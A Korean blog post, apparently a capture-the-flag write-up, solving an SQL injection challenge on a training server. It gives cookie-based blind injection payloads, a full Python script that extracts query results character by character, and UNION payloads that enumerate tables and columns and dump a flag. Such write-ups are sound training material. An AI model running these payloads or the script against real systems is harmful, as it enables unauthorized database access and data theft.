웹 해킹/웹 해킹(ctf)

ctf 풀이 (SQL Injection Point 4)

Almon 2024. 12. 11. 04:28

ctf 문제 풀이

 

SQL Injection Point 3

 

 

SQLI Point

https://almon.tistory.com/47에서 분석했던 기능은 그대로입니다.

2번 문제부터 변경되었던 mypage.php의 쿠키를 사용하는 로직이 돌아왔습니다.

이번에는 sql문이 에러가 날 때 DB Error 메시지가 나오도록 설정이 되어있습니다.

 

게시글 id를 get 메서드로 요청하여 게시글을 불러오는 페이지는 여전히 sql injection이 가능합니다.

 

mypage.php

 

공격 format 만들기

기본 format : tester' and (select 1 union select 2 where (조건문)) and '1' = '1

substring((sql), [index], 1) => sql의 결과를 한 글자 추출합니다.

ascii( substring((sql), [index], 1) ) > [ascii] => 추출한 글자를 ascii 숫자로 변환하여 비교합니다.

완성 format : tester' and (select 1 union select 2 where ( ascii( substring((sql), [index], 1) ) > [ascii] )) and '1' = '1

 

조건문이 참일 때는 DB error가 출력되고 거짓일 때는 결과가 제대로 출력됩니다.

 

Python 코드 제작

코드는 https://almon.tistory.com/45와 거의 동일합니다.

 

SQL_Injection_Point_4.py

import requests

def sqli_request(session, url, session_id, sql, index, ascii):
    response = session.get(url=url, cookies={
        "user" : f"tester' and (select 1 union select 2 where (ascii(substring(({sql}),{index},1)) > {ascii} )) and '1' = '1",
        "PHPSESSID" : session_id,
        })
    # print(response.text)

    if true_message in response.text:
        # print("O")
        return True
    else:
        # print("X")
        return False

url = "http://ctf2.segfaulthub.com:7777/sqli_9/mypage.php"
login_url = "http://ctf2.segfaulthub.com:7777/sqli_9/login.php"
true_message = "DB Error"
sql_result = ""
session = requests.Session()

response = requests.post(login_url, data={
    "id" : "tester",
    "pw" : "1234",
}, allow_redirects=False)
# print(response.headers.get("Set-Cookie").split(", ")[1].split(";")[0].replace("PHPSESSID=", ""))
session_id = response.headers.get("Set-Cookie").split(", ")[1].split(";")[0].replace("PHPSESSID=", "")

while True:
    sql = input("SQL \u1433 ")
    if sqli_request(session, url, session_id, sql, 1, 0):
        index = 1

        while True:
            left = 0
            right = 127
            if not sqli_request(session, url, session_id, sql, index, 0):
                sql_result = ""
                print("\n")
                break

            while True:
                mid = (left + right) // 2
                result = sqli_request(session, url, session_id, sql, index, mid)
                if result:
                    left = mid+1
                else:
                    right = mid
                
                if left == right:
                    index += 1
                    sql_result += chr(left)
                    print(f"\rData : {sql_result}", end="")
                    break
    else:
        print("Fail : ", sql, "\n")

 

데이터 추출

 

 

notice_read.php

 

게시글 읽기의 경우 게시글의 데이터가 화면에 출력되므로 union sql injection을 시도해 보겠습니다.

 

column 개수 확인하기

order by를 통해 확인한 column의 개수는 10개입니다.

 

출력되는 column 자리 확인

삽입 : 154 union select 1,2,3,4,5,6,7,8,9,10 order by 10

2,6,9 자리의 column이 화면에 출력되는 것을 확인할 수 있습니다.

 

DB 명 출력

삽입 : 154 union select 1,database(),3,4,5,6,7,8,9,10 order by 10

2번째 column에 database()를 이용해 db명을 추출합니다.

 

db 명 : sqli_9

 

table 명 추출

삽입 : 154 union select 1,(select table_name from information_schema.tables

where table_schema=(database())),3,4,5,6,7,8,9,10 order by 10

 

'가 필터링 되기 때문에 '를 사용하지 않고 sql문을 삽입해야 합니다.

 

table 명 : board,flagHere,member

 

column 명 추출

삽입 : 154 union select 1,(select column_name from information_schema.columns

where table_schema=(database())

and table_name=(select table_name from information_schema.tables

where table_schema=(database()) limit 1,1)

)

,3,4,5,6,7,8,9,10 order by 10

 

데이터 추출

삽입 : 154 union select 1,(select flag from flagHere),3,4,5,6,7,8,9,10 order by 10